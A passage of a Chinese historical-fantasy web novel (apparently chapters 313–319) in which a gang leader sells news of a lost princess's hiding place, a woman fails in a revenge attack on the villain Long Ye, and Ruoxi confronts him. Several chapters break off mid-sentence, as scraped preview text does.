似是越往下想去,便越是担心地要命,只见他猛地抬起头来瞪大了眼睛,在半空中一把拽住那温润如玉男子的手腕,眼里满含着焦急与担心地忿忿道:“你知不知道,知不知道她曾经昏迷了一年之久,若是这样,若是这样的话,那可该如何是好?如何是好?我就知道,只要她与轩辕翰在一起,就总会危险不断。轩辕翰,若是丫头这次真的有个什么闪失,我定会拆了你的秦王府,让你生不如死!” 说着说着,那妖艳男子竟咬牙切齿着忽地松开手来兀自又大力地一拳重重地砸在了面前的茶几上,瓷器碗碟、茶水、点心、瞬间噼里啪啦全都洒落了一地,顿时引得等待在茶楼角落里的几个随时准备着侍奉客人的伙计忙上前去战战兢兢地一边整理擦拭,一边连连向贵客俯身致歉道:“对不起,对不起,是不是咱们哪里没有服侍好客官,客官尽管说,莫要动怒,莫要动怒!” 那温润如玉男子似是亦被其忽然惊道,眼睛一怔,顿时忙摆手示意对正在收拾残局的伙计解释:“下去重新再换壶茶和一些点心上来吧,不关你们的事。刚刚所砸坏的东西,都算在我们账上。” ...... 至此,一直安安静静地躲在角落里将所有来龙去脉听的一清二楚的龙恩终于恍然大悟: “东宁国...三皇子...遗失的嫡公主” “南安国...太子殿下” “他们俩原来是…怪不得我怎么会对这俩人一点儿记忆都没有。” “原来若曦...不,应该是衣上云...她竟很可能便是东宁国遗失的嫡公主。这件事,怕是连她自己都尚还不知吧?” 显然,刚刚知道了这一切的龙恩早已惊呆了...... “真龙出海,灵空一统,凤凰涅槃,浴火重生,生既是死,死亦是生...即将统一灵空大陆的一对 帝后。” “‘小店桃花红粉姿,陌头杨柳绿烟丝’,‘小店桃花红粉姿,陌头杨柳绿烟丝’.. 第三百一十四章:出卖 “那你可知道那桃花店村怎么去吗?”片刻后,那妖艳男子先回过神来着急地道。 “这个村子几乎与世隔绝,甚少有人知道,在地图上也是没有标注的,怎么?看俩位的意思,是不舍得付这个筹码,想自己寻去咯?” 龙恩一边说着,乘着俩人不注意,悄悄探了下他们脸上的表情,遂佯装着开始挪动起身子来,无所谓地道:“不过没关系,我本来就是打算和秦王府去谈这笔交易的,既然俩位没兴趣,那就告辞了,预祝俩位马到成功,后会有期!” 嘴上虽然无比云淡风轻,不屑一顾地说着,然龙恩心中郁结了已许久的所有顾忌与阴霾,却都早已因为遇到了这俩个人而瞬间被驱散,变得明朗起来。 他怎么都没想到,自己意外救了的这位失忆的衣家大小姐竟会是东宁国尊贵的公主。素闻东宁国富甲一方,是灵空大陆四国里最为国强民富的一个。 他原本还想着怎么拿她去跟秦王做个交易,用来充实自己的实力,可又怕秦王狡猾,诡计多端。 若是在这个节骨眼上,被他顺藤摸瓜暴露了自己,那他与骁龙会的众兄弟们这么多年所有的努力和付出,便很可能就会鸡飞蛋打,前功尽弃了啊。 显然,他现在已经完全改变了自己的初衷,因为他有了比秦王更优质,更安全的下家。 既然心意已定,那俩贵人也别无选择,这便就成了板上钉钉的事。于是,龙恩便一边说着,一边已立起身来朝着俩人拱手行礼,缓缓踱步离去。 那温润如玉的男子见龙恩已然离开,忙抬眼朝其背影似是想要开口说些什么,其身旁的妖艳男子急急伸手将其拦住,警觉地道: “这个人鬼鬼祟祟的,不像是什么周正之人?如今,他更是偷听知道了你我的真实身份,几次三番上来想要故意搭讪,怕是居心叵测?既然连地图上都没有的地儿,他又是从何得知的?” 妖艳男子眯起那对好看的桃花眼来又仔细想了想:“我在西秦里这么多年,走南闯北,上山入海,亦从未听说过有这么个村子!他说话漏洞百出,你莫要被人给骗了,如今的西秦乃是众矢之的,甚是鱼目混杂。” “可是,我怎么总觉得他说的不像是虚的呢?”就在俩男子正陷入迟疑之际,一名腰间佩剑,侍卫打扮模样的男子匆匆疾奔上到了二楼,来到温润男子的身旁,将一封密信双手恭敬地捧起,递到其主子手里:“主人,这是刚刚收到的小姐给您的急件。” 那妖艳男子双手环胸抱着,立在一边尚还对着正缓缓离去的龙恩背影纳闷思量着。忽闻身旁很快便将密信看完的温润男子,急急开口将已走至楼梯口的龙恩挽留道:“朋友请留步,我 愿意付这个筹码!” 龙恩一听,遂即刻背对着俩人顿足停住,嘴角扬起一抹计谋果然得逞的得意弧度来。他俩人自是不知,龙恩自从转身迈开第一步的时候,便已胸有成竹地在心里开始默默倒数着被挽留的声音响起。 “你疯啦?怎能相信他?”那妖艳男子一听,当即朝其看过去扬声惊诧道。 然温润男子却是连看都顾不上看他,只将手里正捏着的那封信推到了其怀中,便匆匆迈着大步直向着顿足而立正等待着被人恭敬客气地请回去的龙恩身旁近身过去。 果然不出所料,龙恩被那温润男子俯身极为恭敬地请回到了茶座上,又命人重新添了几壶好茶和点心,三人这才一起坐了下来。 只是那妖艳男子却早已被手上正握着的那封密信上的内容惊呆了。 那封信,正是秦王妃梅汐媛亲笔所书。告诉了此时的温润男子即她的皇兄梅志煊,他所找的人此时正在西秦南境上一个鲜为人知的被唤作桃花店的村子里。 与此同时,也告诉了梅志煊,秦王轩辕翰亦已亲自带着人马前去寻人。 梅志煊一边笑着亲自为龙恩倒茶,一边方才问道:“不知这位朋友如何称呼?” “不过区区一介草民,说出来怕污了三皇子殿下尊耳!不知也罢。”龙恩冷笑了一声,谦卑婉转地拒绝了他。 “我见你应该比我年长许多,不如,我且称你为大哥如何?”梅志煊打量了一眼眼前人,笑着将香气扑鼻的一碗茶汤双手敬上,说道。 “随便你,我都无所谓!”岂料,龙恩竟却接过了茶碗,一脸毫不在乎的样子说。 看到梅志煊脸上显然对此隐隐露出了一丝尴尬之色,与其一道出来想要在街上打探关于衣上云消息的妖艳男子易三少终于缓过了神来,却看着俩人此时一副极不和谐的客套画面,颇为不顺眼地直朝俩人嚷嚷道:“有话直说,和这样的人有什么好客套啰嗦的?开价吧,你到底想要多少?” 此话一出,一室寂静,似是针落亦可闻。 只见龙恩自顾自甚为悠闲地吹去了嘴边的茶叶,继而轻阖上眼睛嗅了嗅,兀自又轻轻地品了一口,方才睁开眼来饶有兴致地赞道:“好茶,果然是好茶!” 就在易三少见此早已失去了耐心,瞪大了双眼,握紧拳头正欲再次发火对其示威时,龙恩忽然轻蔑地开口问:“不知俩位贵人,到底是谁寻人,又是谁支付筹码?” “我” “我” 岂料,俩人竟异口同声道。 见这俩人为了这个女子,不约而同地说出了同样的话,龙恩似是 第三百一十五章:一别两宽,各生欢喜 龙恩早起刚出门,醉仙坊也迎来了今日里的第一位大主顾,他会是谁呢? 今儿个一大早,陪同伺候着与东家一道用过早饭后,掌柜的又命店里的伙计从柜上抱来了一沓厚厚的账簿欲请东家过目,见昨夜其与人相聊甚欢,故而没有以此再多叨扰。 然龙恩却看都不看一眼,兀自饮了一口茶,只丢下一句:“疑人不用,用人不疑”的话,便拍拍屁股起身来,迈着从未有过的轻盈如风般的脚步出了门去。 看着东家心情似乎从未有过的好上了街去,掌柜的亦是好奇不已地跟出门去,站在门口望着那高大伟岸,熟悉又陌生的背影,硬生生愣了半晌后,方才抬头望了望头顶的朝阳,自言自语地问:“今儿这太阳,莫非是打西边出来了?” 随后,便始终亦不解地摇了摇头,遂急匆匆地回去与几个年轻的伙计开始张罗着开门营业了。 刚整理归置好一切没一会儿,身着城南画坊字样衣袍的俩个伙计捧着一个盘子,里面用一块红绸神秘地遮着一支锦盒,上门来送货:“掌柜的,您要的画已经给您加急画好了,帮您挂哪儿呢?” 掌柜的闻声猛地抬头朝门口看去,一边从柜上下来,一边笑逐颜开地惊喜道:“这么快就完成啦,这可真是太好了!赶巧咱们东家人也来了,正好给他一个惊喜。" 说着,便已迫不及待的掀起红绸来将那清新淡雅又不乏精致的锦盒打开,取出里面的画轴展了开来,顿时被那巧夺天工,惟妙惟肖的画像惊呆了,不禁啧啧叹道:“瞧瞧,这城南画坊就是不一般,这人像画的栩栩如生,把我们东家的神韵表现得淋漓尽致,就似是跟真人一个模子里刻出来的一样。” “是啊,是画的很好,真像!”一旁的几个伙计亦一齐凑过来赞叹道。 片刻后,掌柜的方才回过神来对那俩位送货的伙计致谢道:“有劳二位特地为此辛苦跑一趟了,我自己挂便可,多谢!” 前脚刚送走了画坊伙计,这会儿掌柜的正在美滋滋地独自躲在一角落里欣赏着这副得来不易的画像,不经意地一抬头看向门口,瞥见一熟悉的翩翩公子正跨门进来,顿时忙着急地扑上去笑脸相迎,招呼道:“哎呀,真是稀客,稀客啊!今日是什么风,竟把陆少主您给吹来了?快里面请,里面请!” 这位风尘仆仆慕名而来的翩翩公子,正是西秦学院少主——陆天麟。不过,这次他可不是来喝酒的。 那掌柜的一边跟在其身旁去落座,一边对一旁的伙计忙使了个眼色,吩咐道:“还愣着干嘛,赶快去备些好茶和点心来给这位贵客!” “哦”于是,尚还不明所以,怔愣着的伙计忙丢下手里的抹布下去准备。 很快 ,便捧着一只茶盘上来将里面扑鼻喷香的茶与点心一一摆放整齐,又补了句:“客人请慢用”,斜眼瞄了一眼,看掌柜的终于有些满意了的脸色,方才退了下去。 这时,掌柜的一边帮其斟茶,一边打趣地道:“陆少主可真是有些日子没来咱醉仙坊了呦,这算算…约摸着…怎么也都得有个大半年了吧?是不是…和相国府的千金小姐已经好事将近了呀?” 掌柜的胁肩谄笑着将茶盏双手奉上,见其进门后一直默不作声,稍作停顿便又继续道:“这什么时候喝您的喜酒呢?到时候一定全得还是供咱们醉仙坊的吧?” 话音刚落,岂料陆天麟竟忽地转头射来一个无比寒厉的眼神瞪向了掌柜的,怒道:“休要胡说,什么相国千金?这都是以讹传讹,胡诌的!我与相国府素无瓜葛。以前没有,以后亦不会有。” 陆天麟实已忍了太久:世人皆都以为是他嫌贫爱富,退了衣府的亲,而去高攀相国府这个高枝。实则,当初他只是路见不平拔刀相助,救了那位险些强遭土匪凌辱的相府千金而已。 那位骄小姐脾性跋扈,挥金如土,他陆天麟再是不济,也是出生自书香门第,还不至于娶如此不堪的一个女人。纵使那大小姐颇为中意于他,更是对他死缠烂打,但他也早已机智的以整日里吊儿郎当,游手好闲,佯装四处里寻花问柳等恶劣手段,彻底打消了她的念头。 可如今的结果却是,人言可畏,相国府是何等身份?那相府千金情场失意,便暗中命人到处散播谣言,使得世人无人不以为他本就是这样的浪荡公子。他又怎会不知,表面上如今还是昔日里那风流倜傥,光彩鲜丽的西秦学院少主的他,背地里,却被人戳着脊梁骨痛骂。 这一世,他怕是再也翻不了身了。 而对于衣上云,本就一个已经很可怜的无辜女子,他自是也不想因此而牵连了她,毁了她的一生,让人与他一道被指着脊梁骨谩骂,轻视与不敬。于是,亦恰巧正逢她昏迷之际,便以此为由,擅作主张,去退了那门亲。 己所不欲,勿施于人,仅此而已。 闻此,掌柜的笑容即刻僵在脸上,惊诧道:“啊?原来这都是讹传的啊,我就说嘛,这陆少主仪表堂堂,又一向家教严苛,怎会做出那等忘恩负义,私自上门退亲这等大逆不道的事呢?” 岂料,陆天麟似是咬了咬牙,一双眼眸瞬间变得冷如万年玄冰一般,夹杂着伤痛,沉声道:“你没听错,我陆天麟与城西衣府嫡长女衣上云早已退亲,从此一别两宽,各生欢喜。” 掌柜的闻之,忙将一张不知所措的老脸低低的垂了下去扭到一边,恨不得此时地上有个老鼠洞可以让他钻进去。这明明美 好的一天刚开始,他不明白,为何自己却总是说错话呢? & 第三百一十六章:磨人的小妖精 时间转眼已至晌午饭时刻。 此时,骁龙会的校场上,一冷峻男子正一袭黑衣劲装持剑挥舞,纵腾跳跃,回风舞柳,剑光霍霍着。 见他时而宛若游龙穿梭,行走四身,时而轻盈如燕,点剑而起,时而骤如电光石火,惹得落叶纷纷。 其招式伶俐却又让人难以琢磨,忽觉得他出剑速度越来越快,剑锋光闪间,男子的脸上亦早已汗如雨下。 这时,忽然凭空猛然又跃出另一男子身影,其目光如电,穿破虚空,凌空朝那冷峻男子扑杀而下,只见剑光一闪,便干净利落地以自己手中的宝剑紧紧地抵住了那冷峻男子的剑刃,校场上,俩人顿时间极近距离的四目相对了起来。 冷峻男子这才看清楚半路杀出来的人正是他方才一边舞剑,一边凝神专注地在思考接下来将要如何对付的骁龙会副帮主龙烨。给主子的密信已经发出去了许久,可至今都还没收到关于下一步的任何行事指示,他的心里这几日感到越来越惶惶不安,总觉得要出事的样子。 于是,他即刻回过神来忙朝其脚下扑通一声单膝跪了下去,拱手垂目道:“属下参见副帮主!” “你怎么在这儿练起剑来了?你不是向来都不喜欢与他们一道在此切磋武艺的吗?” 这会儿,龙烨与几个下属刚从骁龙堂里议完事出来,正准备一道去吃午饭,却惊讶地看到冷峻男子一人竟在练武,像是很投入的样子。于是,便好奇地上前近身过来瞧了瞧,没想到他竟是如此专注,似是并未意识到他的亲近。 “回帮主的话,属下只是许久未练,剑术有些生疏了,这会儿见此处并没什么人,这才想过来活动活动筋骨,怕万一骁龙会里有个什么事儿,反倒因此而失手了。”男子沉声忙回道。 “听你这一说,本帮主方才记起自己亦似已许久未练,索性那就陪你一道也来活动活动吧,最近整个人像是又发福了不少,只怕是到时候对那些娘儿们都快要招架不住了!” 龙烨一边将那男子扶起身来,话音刚落,便收敛起笑容,退后俩步刷地亮开了架式,不由分说地先举剑直朝那冷峻男子的面前刺去。 冷峻男子自是不能驳了他此时的好兴致,迅速一个闪身持剑亦迎刃而上了去,俩人很快便又再次剑如两条白蛇吐信般紧紧纠缠在一起,嘶嘶破风,电光石火,“铛铛铛铛”连续不断的剑击声霎时间响破了整个长空。 转眼间,便是二三十招已过,忽闻“嘶”的一声,只见那冷峻男子的目光顿时一惊,遂忙倒转剑柄收回了手里的利剑收住势,却发现已然一剑挑破了龙烨的一袭锦袍,幸好及时收势,未伤及皮肤。 男子霎时间忙跪了下去,道:“属下该死,请副 帮主责罚!” 龙烨此时亦似是被其完全惊到了,今日这男子明显有些不对劲,先是竟然破天荒地练起了剑来,劍招之间又无不透露出其剑剑狠绝,继而又失神地无视自己的近身来到,再还失手挑破了他的锦袍。 一念至此,只见龙烨立着朝自己的衣袍上的破口一怔,继而笑着朝其摆摆手,示意他并无大碍,遂无奈地又道:“看来,本帮主是真的老喽!上次第一次遇到你,若不是因你搭手,怕是本帮主便已被那西秦将士早就捉拿去了。后生可畏,真是后生可畏啊!” 龙烨说着,将一手搭在冷峻男子的肩上,示意其起身。未及龙烨开口,冷峻男子先着急地瞥向龙烨的随从道:“还不快扶帮主回去更衣。” 跟随着一起回到西苑里,冷峻男子诚恳地道:“副帮主里面请,属下亲自来侍奉副帮主更衣。” “嗯。”龙烨遂沉声应着,却是悄悄对一旁的随从使了个眼色,方才迈步进入了内屋里。 冷峻男子兀自遣掉了龙烨院内的所有人,道:“你们都去外面仔细把守着,小心刺客再回来生事。” 很快,便有人步履匆匆地捧着盘子将龙烨的衣物送了进来。 冷峻男子远远地一看,岂料那送衣袍进来的尽是一女子身影,待其一近身过来,他便惊讶地看着兰香的眉眼,一把将其推到角落里,皱紧眉头朝其压低声音道:“怎么是你?我不是已经答应过你,一定会帮你确定他的身份吗?你为何如此着急地又来到这里?” 许是糟糕的事一件接一件的发生,让他难免总是有些心不在焉,既然大错已经铸成,冷峻男子索性便打定主意这会儿借机帮兰香应证查看那龙烨身上的记号,不想她竟怎么在这个节骨眼上出现了? 只见兰香目光冷厉,昂起首来,深吸了口气道:“如今,兰香着急的早已经不只是这个了。兰香不能再等下去了,多等一分,燕儿的危险便就更多了一分……” 不及兰香说完,冷峻男子急道:“再急也不能……” 岂料兰香更似是等不及其将话讲完,直将目光瞥向那男子愤怒的眼睛,压低声音激动地忿忿道: “我不能眼睁睁看着燕儿出事,我知道龙烨想要的是什么?我这个身子本就已经污秽不堪。所以,我愿意代替燕儿做任何事,这于我而言,并没什么差,可对于燕儿,这一生便就是完全不同的命运。而且,我预感他很有可能便是当年将我卖掉的人。今日,不是他死,便是我亡,我一定非要亲手杀了他不可,我要用他的项上人头,来祭奠二郎的在天之灵!” &nb 第三百一十七章:出师未捷身先死 兰香一见到龙烨胸前所亮出来的那三颗熟悉的不能再熟悉的记号,终是没能再忍住内心的悲愤,一把飞快地拔出了插在自己发髻上早已准备好,被她这几日里更是闲来无事时,夜深人静的时候打磨的无比尖锐的兰花银簪来,猛地坐起嗖的一下便朝龙烨的左胸口处狠狠扎了过去。 然龙烨是何人,岂能如此疏于防范,又好糊弄,他早已在兰香一进门来时便觉出她的相貌有几分似曾相识,言行举止更是异于常人,皆似都为了吸引他而来,故其实心里对她早已有所防备。 只见他结实宽大的身板灵活地在她面前一闪,整个人便已从床上下了地来,若不是因为兰香的簪子磨的太过于尖锐,怕是就连此时只是稍微划破了他裸露在外的手臂上的一点儿表皮也是万万做不到的。 “贱人,本帮主就知道你故意接近,引诱本帮主一定是另有企图。本帮主刚刚想起来,原来你就是当年倒贴二郎的那个臭丫头。怎么?本帮主把你亲手送到那个人间天堂里,这几年你是不是日日都过的醉生梦死啊?”龙烨看着手臂上那道鲜红的划痕,厚颜无耻地冷嘲热讽道。 兰香顺手拈来衣裳裹住身体,亦不屑地道:“亏你至今竟都还记着这一切,看来这几年里噩梦也定是做了不少吧!今日,我定要让你替二郎偿命。” 闻此,龙烨顿时双眼朝其一愣,惊道:“那个短命鬼死啦,哈哈哈…死的好!谁让他家那个老巫婆对我们下人那般苛刻,整日里把我们当畜牲一般使唤。即便是我堂堂一个管家,成日里亦是低三下四地处处受她一个老女人的闷气,吃的住的连她家的看门狗都不如。如今,他终于也落得个断子绝孙了,这是报应,报应啊!” 兰香眉头深蹙着缓缓下了床来,不解地问那此时正一脸狰狞忽冷忽笑的龙烨道:“‘冤有头,债有主’‘己所不欲,勿施于人’。原来你既也曾遭人冷眼,受人百般苛待,那又为何要如此残忍地拆散我与二郎?让我饱受地狱之火。二郎他的脾性向来都是温润如玉,宅心仁厚,从不欺人,他可有曾得罪于你?我又与你有何深仇大恨?” 龙烨侧身昂首,对兰香忿忿道:“‘父债子还,天经地义’,再说了,你的事也都是那老巫婆一手安排的,只是二郎,他……” 龙烨说着说着,眼底和话语之间悄悄流露出一丝不忍:“当年,若不正是因为二郎替我洗脱冤情,证明府里的那个丫鬟乃是受不了那老巫婆的苛责而自尽,并非受我强迫,那老巫婆早就将我送官发配边疆了。这些年,若不是念在当日之情份上,如今,我早就已经带人去血洗他全家了,岂会留那老巫婆性命至今?” 稍作停顿后,他忽然转过 身来盯视着兰香的眼睛,似是顿时又意识到了什么,继而一手轻轻挑起她尖尖的下巴来,挑逗道:“对啊,既然二郎已死,那我不是便可以心安理得地去洗劫他家了么?原来,美人儿今日竟是为了给我送这个好消息特地前来的。你还别说,那个老巫婆家里,的确还算个小金库呢!” 兰香闻之,正欲开口怒对他,岂料龙烨的眼神忽然又恢复起方才的满满求之若渴的欲望来,捏着她的下巴饶有兴致地道: “不过,瞧你这水灵白皙的小可人模样,当年没有让你先好好伺候伺候本帮主,便这样着急地把你给卖了,看来还真是损失大了。今日可是你自己送上门来的,你就不要再妄想能逃出本帮主的五指山了,哈哈哈哈哈…美人儿,来吧……” 说着,便呲牙咧嘴着张开魔爪来,又一次步步紧逼着朝兰香扑了过去,兰香本想这次一定要好好利用一下她精心准备的武器,却不想还未举起,便被龙烨当即一把夺了过去,丢到了窗外的花丛里。 就这样,俩人再次纠缠在一起。兰香乃一介女流,身形单薄怎敌得过龙烨的结实体格,很快便败了下来。 就在其已被龙烨三两下便整个儿压在了身下五花大绑起来,完全失去了反抗的可能,只能乖乖束手就擒,欲要对其发泄兽欲之时,忽然从身后往其脖颈上架起了一把明晃晃的利剑来,遂响起一阵男子低沉的声音:“松开她!你若是敢大声叫出半句来,我定叫你马上人头落地,血都不见一滴。” “你是什么人?竟敢闯入我骁龙会?是不是活腻了?”龙烨正是背对着那人,只能用余光微微一瞥,见那人一袭夜行者,遮着黑色面巾,似是露着一双犀利又深邃的黑眸,其他便再什么也都看不出。“ “废话少说,快松开她!”看到龙烨的迟疑,那蒙面黑衣男子忽地将手里的利剑朝其脖颈上抵的更紧了些,龙烨的脖颈即刻便渗出了血迹来。 看样子来人并不像是只吓吓他而已,于是不得已他便真的开始一边给兰香松绑,一边仍警告其道:“就算本帮主现在放了你们,你们真以为自己就能离得开骁龙会吗?” “快把他绑起来,绑紧一点儿!”看到兰香马上就要挣脱 束缚,那黑衣蒙面男子忙指着面前的这堆可以称得上是绳子的东西示意兰香道,完全不把龙烨的话放在心上。 “我要亲手杀了他,为二郎报仇。”岂料兰香一挣开束缚却忽然大喊大叫 第三百一十八章:终于找到你了 此时,东苑的后院里,则是完全与之不同的另一副平和景象。 只见年轻守卫独自一人正后背紧贴着门板瘫坐在若曦的门前,双手捧着个丰富的茶盘,里面盛着几样香气扑鼻的茶果与点心,口中断断续续,有气无力地苦苦哀求着: “若曦姑娘,求求你就开开门吧!” “姑娘,求您多少吃一点儿吧!” ”姑娘,您若不吃的话,抿口茶汤也行啊!” “姑娘,您要是一直都不吃不喝的话,小的也要跟你一起受罚的啊!小的真的已经支撑不住,快要被饿晕了!” …… 实际上,他打从天一亮与年长守卫换班起便堵在了这个门口,寸步不离地一直哀求到现在。早饭也只不过是些白粥、窝窝头与咸菜而已,如今那点食物早就已经在体内全都消耗殆尽了。 整个人更是由精气神十足地站立在门口,到后来腿脚困乏又口干舌燥地背靠着门板,再到最后肚子咕噜咕噜开始打起鼓来时背靠门板蹲下来。 如今,晌午饭时间早已过去,他已然是饿的头昏眼花前胸贴后背着,只能有气无力地瘫坐下去了。 若曦打从湖边知道了有人在骁龙会里被秘密囚禁的事,而他二人却怎么都不肯告诉她那个秘密囚室之所在,回来以后便真如自己所说的一般,开始闭门禁足,绝食了起来。 年长守卫是他的师父,因为他的好奇心才造成了现在的结果,所以师父罚他,若是姑娘不吃不喝,也绝不允许他离开这里一步,更别想着吃饭睡觉了。 如今,显然他喊的嗓子都已经快要冒烟了,却不得不依旧继续喊着,求着。 真是“偷鸡不成蚀把米”,这次他可真是亏大了。在山里初见他的时候,心里本来还是挺佩服那个勇敢的冷峻男子,可这会儿却咬牙切齿地不知有多恨他:“都怪你,若不是你,我也不会落得如此田地,看我以后怎么收拾你!” 这时,忽然从里面终于传出来女子依旧清晰而有力的怒斥声来:“你是没长耳朵吗?我说过的话,何时儿戏过?不要再喊了,就像哭丧的一样,我这还没死呢!” 闻此,年轻守卫心下里一惊,忽地回过神强撑着立起身来,连连拍着门板叫道:“姑娘,你可算是开口说话了!哎呦,我的姑奶奶,你就可怜可怜小的我吧,我实在饿的不行了,你就好歹开门吃一口吧,这样小的也好下去交差啊!” “废话少说,要吃你自己吃,若是不告诉我关押那个姑娘的秘密囚室究竟在何处?我是绝对不会收回我的话的。”女子依旧很生气地道。 “哎呦,姑奶奶啊,我是真的不知道啊,那么隐秘的地方,我一个小小看守怎么会知道呢?你这不是诚心故意刁难我嘛,你 就忍心看着我年纪轻轻,就此便做个饿死鬼么?姑娘,你可真是狠心呢!” 显然,任凭他无论再把自己的处境说的有多么可怜,再苦苦哀求,若曦自是不愿再与他多费唇舌,自此收声不再理他,兀自自言自语道:“那究竟是个怎样神秘的地方,为何这俩人对此这般地守口如瓶?” 轻轻合上随手拈来的一本葯籍,遂正在暗自思量时,忽然发现这龙恩后院里的后花园中山水萦绕、草绿花红、小桥流水、亭伴松鹤、堂携红莲,倒的确是个观楼榭落水,听清风呢喃,闻花香摇曳的好地方。 这个季节,正值园中古树参天,树木环绕,不那么喧闹,一切都是那般幽静。 满园的杜鹃正值怒放,一丛又一丛的;随处可见的木香,高高挂在架子上;绣球花的季节,没有什么更能胜过它的美与洁白了…… 趴在窗前抬头赏了会儿风景,许是心里有太多的事牵绊,看着看着不禁又觉得有些无趣收回了视线,想不通的问题依旧全都一一无解而又一直萦绕着。 回想起在桃花店村里,太妃娘娘曾对自己所说的一切,关于那天她体内所爆发出来的那股神奇力量以及她的身份,她不经意地又摩挲起手腕上的那只七彩金丝彩玉镯子来,口中低声喃喃:“原来,若曦并不是我,那我到底是谁?” 顺势又从袖兜里摸出了那粒神秘的还魂丹来,将其置于葯籍上端详了半晌,呆呆地自问道:“还魂丹,真的可以让我记起所有一切吗?我的执念...天下苍生…孰轻孰重……” 深深地吐了口浊气,继而缓缓起身来立在窗前呆望着静静的湖面,忽然眼角一扫,瞥见了似是年长守卫的身影从她眼前一闪而过,身后像是还跟着一妙龄女子,俩人一道步履匆匆地向着角上的一间柴房奔去,女子先进去后,年长守卫又在门口朝四处探了探,方才跟了进去。 若曦忙闪身离开窗口,心里不禁纳闷地道:“那女子是谁,他们为何如此鬼鬼祟祟地去往柴房里?” 就在这时,“吱呀”一声,门终于从里面被打了开来。 门外,年轻守卫终是再也忍不住,刚小心翼翼地捏起一块诱人的芙蓉糕来,眨巴眨巴嘴唇,又轻阖起双眼来靠近鼻翼深深地闻了闻,朝其瞪大了双眼,舔着自己的嘴唇,正欲塞入口中,品尝这从未尝过的人间美味。 岂料,却瞬间随着开门声糕落人倾,与之一起的,还有“哎呀”一声,只见他整个人便连同手里捧着的茶果点心一起像个陀螺一般咕噜咕噜滚了进去。 他尚还似是并未搞清楚到底发生了什么,为什么即将入口的美味瞬间都落了一地,而自己又是怎样倒地的,却只听到一斥责 第三百一十九章:臭苍蝇中计食毒草 就在兰香正喜极而泣,那么多人历经艰险与万难终于找到了失踪已经太久的衣上云的时候,年轻守卫跌跌撞撞地亦朝着柴房方向疾跑了过来,边跑边大声地叫喊着:“不好了,不好了……” 闻此,若曦与年长守卫顿时面面相觑了一瞬,便即刻一起朝门外跨步了出去,年长守卫一手捉住其臂膀将其拦在门外大声训斥道:“发生了什么事,为何这般火急火燎的?” 那年轻守卫一手叉着腰,上气不接下气地断断续续弱弱地道:“不…不好…不好了,副帮主亲自带着人方才来到东苑里,说…说要搜查一个西秦秦王派来的女细作,现在已经强行闯到书房那边去了,马…马上就要朝这里来了。” 就在这时,众人耳朵里已然传来了一阵嘈杂声,若曦一听,当即转身回去目光坚定地问兰香道:“你是秦王派来会对骁龙会有所不利的细作么?” 兰香不明所以地盯视着她的眼睛,惊异地道:“衣姑娘,我怎么会是什么细作呢?我只不过是同燕儿一道偷偷溜到这里来一心只想要找回你的啊!如今,燕儿都已经被他们抓住秘密关押了起来;就连那唯一愿意帮我的小哥,方才为了救我于虎口之中,在西苑里亦被人一剑刺穿,生死不明;若不是这位大哥好心出手相救带我来到这里,我…我怕是也早已经……” 原来真相竟然是这样的,若曦不禁回头看了眼那正巍然不动地默默立在一旁的年长守卫的脸,又看看兰香至今依然茫不知错,似是六神无主地再次激动地痛哭了起来,她顿时醒悟到,显然方才的一切都是她一时冲动,以小人之心度君子之腹了。 于是,便深吐了口浊气,将一只纤纤玉手搭在了兰香尚还有些发抖着的肩头上,抚慰其道:“好了,你先不要哭了,委屈你就暂时先躲在这里,剩下所有的一切都交给我吧,我不会再让任何人伤害你了。” 话一说完,若曦遂便忽地转身过去,一边急匆匆地迈步往回廊上去,一边严肃地对俩个守卫吩咐道:“把她锁起来!” 只是在经过年长守卫身边的时候,她忽然顿足看向他对其致歉道:“对不起,方才是我错怪你了!” 而就在年长守卫似是还有点儿反应不过来,愣愣地看着她,还想说些什么,但一看见她此时决绝的眼神,却终是又把话都咽了回去,若曦遂便迈着大步兀自扬长离去。 后院里,龙烨气焰嚣张地带领着大队人马,各个手里都举着明晃晃的刀剑,一个个如凶神恶煞般正杵在若曦空荡荡的屋门前。 “妖女,快开门!”两名手下叩门得不到回应,索性便欲要强行破门而入。 就在这时,忽从众人身后传出来一女子的大声呵斥道: “龙烨,你好大的胆子,带这么多人来这里是想做什么?” 闻声,龙烨顿时惊的猛朝其回过头去,待一锁定那一袭鹅黄色衣裙、身姿曼妙、虽轻纱遮面却终是难掩其一双炯炯极致好看的凤眼,此时又带着些许发怒的神情,显得甚是迷人的手里正捧着一束五颜六色的鲜花的女子身影。霎时间,他的色心便又再次浮起。 只见他双手负后色咪咪地笑着,悠悠然地朝其身边踱步了过去,又饶有兴致地在其周围来回转了几圈,眯起那两道贼眉鼠眼来,不怀好意的眼睛到处胡乱游离打探着,半晌后,忽然止住步,赞叹道: “呦,这简直就是仙女下凡么,怎么会是个妖女呢?啧啧啧,没想到大哥的眼光还真是不错,瞧瞧大嫂这副玲珑剔透的身段,如雪如脂般皙白嫩滑,吹弹可破的玉肌。近日里,大哥不在,小弟乃是特地过来拜访大嫂的,看大嫂这边有无什么特别的需求,龙烨见过大嫂!” 被眼前如此巨大恶心的一只臭苍蝇如此盯視,若曦早就已经屏住了呼吸,攒满了一肚子的怒火,就在龙烨话音刚落,正欲拱手朝其行礼时,她便再也忍不住“啪”的一声,狠狠将一记重重的耳光拍在了他笑意正浓的脸上。 见此,一院子的手下顿时间里望着眼前的俩人惊呆了。待稍一反应过来,忙都齐刷刷拔出了腰间的刀剑作势。 不想龙烨脸上的表情顿时僵在脸上,垂首定在原地里,眼睁睁看着若曦的脚尖,怔了片刻后竟忽然笑出了声来,那又阴又冷的皮笑肉不笑,让人不禁后背里直发冷。 半晌后,那笑声嘎然而止,遂又依旧挂起笑容来朝身后的手下扬起手来命令道:“都把手里的武器给本帮主放下,没听过‘打是亲,骂是爱’吗?大嫂这是表示对本帮主的到来很满意呢!” 众人闻之听命收起手里的刀剑,这时若曦看都不看他一眼,兀自侧身朝其怒斥道:“龙烨,你休要一开口便胡言乱语,谁是你大嫂?你给我嘴巴放干净点儿。这几日,龙帮主不在,你都在骁龙会里干了多少见不得人的事?想必不必我细说,你自己已然心里有数。待龙帮主回来,看他怎么收拾你?” “哎呦,我的好大嫂……”龙烨一脸苦笑着上前近身过去道。 “嗯?”若曦斜了他一眼。 龙烨轻呼了自己两巴掌,继而改口说道:“若曦姑娘,你可千万不能只听人片面之词,冤枉了好人啊!我抓的那些可都是妄图对我骁龙会不轨的刺客与细作,我这可都是为了骁龙会好哇!对了,说起这个,不知大嫂...不对...若曦姑娘有没有见到一个女细作逃到东苑里来呢?” 